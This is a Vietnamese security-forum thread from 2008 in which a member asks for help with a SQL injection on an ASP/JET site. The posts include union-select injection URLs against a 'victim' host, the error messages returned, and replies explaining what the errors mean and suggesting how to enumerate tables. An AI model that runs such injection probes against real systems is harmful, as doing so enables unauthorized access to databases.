banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận thâm nhập Lỗi sql injection  XML
  [Question]   Lỗi sql injection 18/09/2008 07:31:15 (+0700) | #1 | 151812
quanlongit
Member

[Minus]    0    [Plus]
Joined: 01/04/2007 01:56:44
Messages: 17
Offline
[Profile] [PM]
http://victim/xxxxx.asp?id=1
Sau khi xem dấu ' vào victim/xxxxx.asp?id=25'
thì nó báo
Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression 'id =25''.
xxxxxxxxxxxxxx line77  

Mình đã khai thác nó như sau
http://victim/xxxxx.asp?=25 union select 1 from tbluser  

thì nó báo là
Microsoft JET Database Engine error '80040e14'

The number of columns in the two selected tables or queries of a union query do not match. (1)
xxxxxxxxxxxxxxx line77  

Chúng tỏ tbluser tồn tại
nhưng khi thêm vào
http://victim/xxxxx.asp?id=25 union select 1,2 from tbluser
thì nó báo : Microsoft JET Database Engine error '80004005'

Query input must contain at least one table or query.
xxxxxxxxxxxxxxxx line77  

Thêm vào 3,4,5,6,7 gì nó cũng báo thế
Nó báo như thế này thì chúng tỏ tbluser là sai nhưng ở trên (1) thì chúng tỏ tbluser này tồn tại ( không biết có đúng hay không)
Giờ cần 1 cao kiến giúp
Thân
[Locked] [Up] [Print Copy]
  [Question]   Lỗi sql injection 18/09/2008 18:43:11 (+0700) | #2 | 151881
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

quanlongit wrote:
http://victim/xxxxx.asp?id=1
Sau khi xem dấu ' vào victim/xxxxx.asp?id=25'
thì nó báo
Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression 'id =25''.
xxxxxxxxxxxxxx line77  

Mình đã khai thác nó như sau
http://victim/xxxxx.asp?=25 union select 1 from tbluser  

thì nó báo là
Microsoft JET Database Engine error '80040e14'

The number of columns in the two selected tables or queries of a union query do not match. (1)
xxxxxxxxxxxxxxx line77  

Chúng tỏ tbluser tồn tại
nhưng khi thêm vào
http://victim/xxxxx.asp?id=25 union select 1,2 from tbluser
thì nó báo : Microsoft JET Database Engine error '80004005'

Query input must contain at least one table or query.
xxxxxxxxxxxxxxxx line77  

Thêm vào 3,4,5,6,7 gì nó cũng báo thế
Nó báo như thế này thì chúng tỏ tbluser là sai nhưng ở trên (1) thì chúng tỏ tbluser này tồn tại ( không biết có đúng hay không)
Giờ cần 1 cao kiến giúp
Thân
 


Không có gì để xác định là tbluser tồn tại cả.
What bringing us together is stronger than what pulling us apart.
[Locked] [Up] [Print Copy]
  [Question]   Re: Lỗi sql injection 21/09/2008 16:32:43 (+0700) | #3 | 152309
quanlongit
Member

[Minus]    0    [Plus]
Joined: 01/04/2007 01:56:44
Messages: 17
Offline
[Profile] [PM]
Nó báo

The number of columns in the two selected tables or queries of a union query do not match  

thế này mà anh nói là không có căn cứ
Nó cũng giống như 1 thẳng mỹ hỏi bà già " con bà trốn đâu?" bà già " tui biết nó trốn trong đống rơm mà tui không chỉ đâu " ( smilie nói vui tí )

Nếu ở bước 1 nó báo
Query input must contain at least one table or query.  

thì em sẽ hiểu tbluser là sai
Nhưng ở đây khi thêm số 2 vào nó mới báo như thế, em không hiểu vấn đề ngay đó. Anh hoặc ai đó có thể giải thích rõ hơn ko
Cái này lúc trước em cũng có gặp 1 lần lúc học sql và kiểm tra lại là table_name mình sai smilie
[Locked] [Up] [Print Copy]
  [Question]   Re: Lỗi sql injection 21/09/2008 19:44:47 (+0700) | #4 | 152312
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

quanlongit wrote:
Nó báo

The number of columns in the two selected tables or queries of a union query do not match  

thế này mà anh nói là không có căn cứ
Nó cũng giống như 1 thẳng mỹ hỏi bà già " con bà trốn đâu?" bà già " tui biết nó trốn trong đống rơm mà tui không chỉ đâu " ( smilie nói vui tí )

Nếu ở bước 1 nó báo
Query input must contain at least one table or query.  

thì em sẽ hiểu tbluser là sai
Nhưng ở đây khi thêm số 2 vào nó mới báo như thế, em không hiểu vấn đề ngay đó. Anh hoặc ai đó có thể giải thích rõ hơn ko
Cái này lúc trước em cũng có gặp 1 lần lúc học sql và kiểm tra lại là table_name mình sai smilie
 


Từ:
http://victim/xxxxx.asp?=25 union select 1 from tbluser

cho ra:
The number of columns in the two selected tables or queries of a union query do not match

có nghĩa là "select 1 từ table tbluser" xảy ra trước nhưng tbluser không tồn tại thì cột số một cũng chẳng có --> false.

What bringing us together is stronger than what pulling us apart.
[Locked] [Up] [Print Copy]
  [Question]   Re: Lỗi sql injection 04/12/2008 00:28:07 (+0700) | #5 | 161175
HelloAjinomoto
Member

[Minus]    0    [Plus]
Joined: 22/10/2008 18:43:18
Messages: 3
Offline
[Profile] [PM]

conmale wrote:

quanlongit wrote:
Nó báo

The number of columns in the two selected tables or queries of a union query do not match  

thế này mà anh nói là không có căn cứ
Nó cũng giống như 1 thẳng mỹ hỏi bà già " con bà trốn đâu?" bà già " tui biết nó trốn trong đống rơm mà tui không chỉ đâu " ( smilie nói vui tí )

Nếu ở bước 1 nó báo
Query input must contain at least one table or query.  

thì em sẽ hiểu tbluser là sai
Nhưng ở đây khi thêm số 2 vào nó mới báo như thế, em không hiểu vấn đề ngay đó. Anh hoặc ai đó có thể giải thích rõ hơn ko
Cái này lúc trước em cũng có gặp 1 lần lúc học sql và kiểm tra lại là table_name mình sai smilie
 


Từ:
http://victim/xxxxx.asp?=25 union select 1 from tbluser

cho ra:
The number of columns in the two selected tables or queries of a union query do not match

có nghĩa là "select 1 từ table tbluser" xảy ra trước nhưng tbluser không tồn tại thì cột số một cũng chẳng có --> false.

 


Quote lại cái bài của conmale vậy, bạn thử đổi thành
http://victim/xxxxx.asp?=25 union select 1 from information_schema.tables
xem sao
[Locked] [Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|